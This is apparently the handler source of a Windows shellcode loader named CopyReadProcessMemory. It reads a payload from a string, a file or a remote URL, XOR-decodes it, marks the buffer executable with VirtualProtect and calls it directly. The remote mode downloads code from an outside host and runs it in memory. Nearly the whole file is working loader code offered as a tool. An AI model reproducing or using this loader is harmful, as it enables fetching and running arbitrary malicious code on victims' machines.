#include "handlers.h"
#include <iostream>
#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <stdexcept>
#include "Helper.h"

#pragma comment(lib, "wininet.lib")

// ---------------------
// HELP & VERSION
// ---------------------
void print_help()
{
    std::cout <<
        "Usage:\n"
        "  CopyReadProcessMemory [OPTIONS]\n\n"
        "Modes (choose exactly one):\n"
        "  -s, --string_inject <STRING>      Inject a raw string\n"
        "  -f, --file_path <FILE>            Load payload from file\n"
        "  -t, --remote_payload <TARGET>     Use remote payload\n\n"
        "Options:\n"
        "  -e, --execute                     Execute payload after processing\n"
        "  -x, --xor                         XOR key to decode the shellcode\n"
        "  -h, --help                        Show this help\n"
        "  -V, --version                     Show version\n";
}

void print_version()
{
    std::cout << "CopyReadProcessMemory v1.0\n";
}

// ---------------------
// MAIN MODE LOGIC
// ---------------------
void execute_selected_mode(const ParsedArguments& args)
{
    size_t size = 0;
    char* data = nullptr;

    if (!args.string_inject.empty())
    {
        data = handle_string_inject(args.string_inject, size);
    }

    if (!args.file_path.empty())
    {
        data = handle_file_path(args.file_path, size);
    }

    if (!args.remote_payload.empty())
    {
        data = handle_remote_payload(args.remote_payload, size);
    }

    // Apply XOR if specified
    if (!args.xor_key.empty())
    {
        XOR(data, (char *)args.xor_key.c_str(), size, args.xor_key.size());
    }

    void * buffer = CopyReadProcessMemory(data, size);

    // Execute payload
    if (args.execute)
    {
        run_execute_logic(args, buffer, size);
    }

    // Free memory
    delete[] data;
}

// ---------------------
// HANDLERS
// ---------------------
char* handle_string_inject(const std::string& value, size_t& out_size)
{
    std::cout << "[INFO] Handling string_inject: " << value << std::endl;
    char* buffer = new char[value.size() + 1];
    memcpy(buffer, value.c_str(), value.size() + 1);
    out_size = value.size();
    return buffer;
}

char* handle_file_path(const std::string& value, size_t& out_size)
{
    std::cout << "[INFO] Handling file_path: " << value << std::endl;
    FILE* f = fopen(value.c_str(), "rb");
    if (!f) return NULL;

    fseek(f, 0, SEEK_END);
    long size = ftell(f);
    rewind(f);

    if (size <= 0) { fclose(f); return NULL; }

    char* buffer = (char*)malloc(size);
    if (!buffer) { fclose(f); return NULL; }

    if (fread(buffer, 1, size, f) != (size_t)size)
    {
        free(buffer);
        fclose(f);
        return NULL;
    }

    out_size = size;

    fclose(f);
    return buffer;
}

char* handle_remote_payload(const std::string& value, size_t& out_size)
{
    std::cout << "[INFO] Handling remote_payload: " << value << std::endl;
    HINTERNET hInternet = InternetOpenA("Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hInternet) throw std::runtime_error("InternetOpenA failed");

    HINTERNET hFile = InternetOpenUrlA(hInternet, value.c_str(), NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD, 0);
    if (!hFile) {
        InternetCloseHandle(hInternet);
        throw std::runtime_error("InternetOpenUrlA failed");
    }

    const size_t chunk_size = 4096;
    char buffer[chunk_size];
    size_t total_size = 0;
    char* data = nullptr;

    DWORD bytesRead = 0;
    while (InternetReadFile(hFile, buffer, chunk_size, &bytesRead) && bytesRead != 0)
    {
        char* tmp = new char[total_size + bytesRead];
        if (data)
        {
            memcpy(tmp, data, total_size);
            delete[] data;
        }
        memcpy(tmp + total_size, buffer, bytesRead);
        data = tmp;
        total_size += bytesRead;
    }

    InternetCloseHandle(hFile);
    InternetCloseHandle(hInternet);

    out_size = total_size;

    if (!data) throw std::runtime_error("Failed to download or empty file");
    return data;
}

// ---------------------
// EXECUTE FLAG
// ---------------------
void run_execute_logic(const ParsedArguments& args, void* pNewBuffer, size_t size)
{
    switch (args.mode)
    {
        case InputMode::StringInject:
            std::cout << "[EXECUTE] Executing string_inject";
            // your string logic here
            break;

        case InputMode::FilePath:
            std::cout << "[EXECUTE] Executing file_path";
            // your file logic here
            break;

        case InputMode::RemotePayload:
            std::cout << "[EXECUTE] Executing remote_payload";
            // your remote payload logic here
            break;

        default:
            throw std::runtime_error("No input mode selected for execution.");
            return;
    }
    DWORD old;
    if (!VirtualProtect(pNewBuffer, size, PAGE_EXECUTE_READ, &old)) {
        throw std::runtime_error("VirtualProtect failed, le:" + std::to_string(GetLastError()));
    }

    // Ejecutar el código desde la memoria
    typedef void(*Function)();
    Function funct = (Function)pNewBuffer;
    funct();
}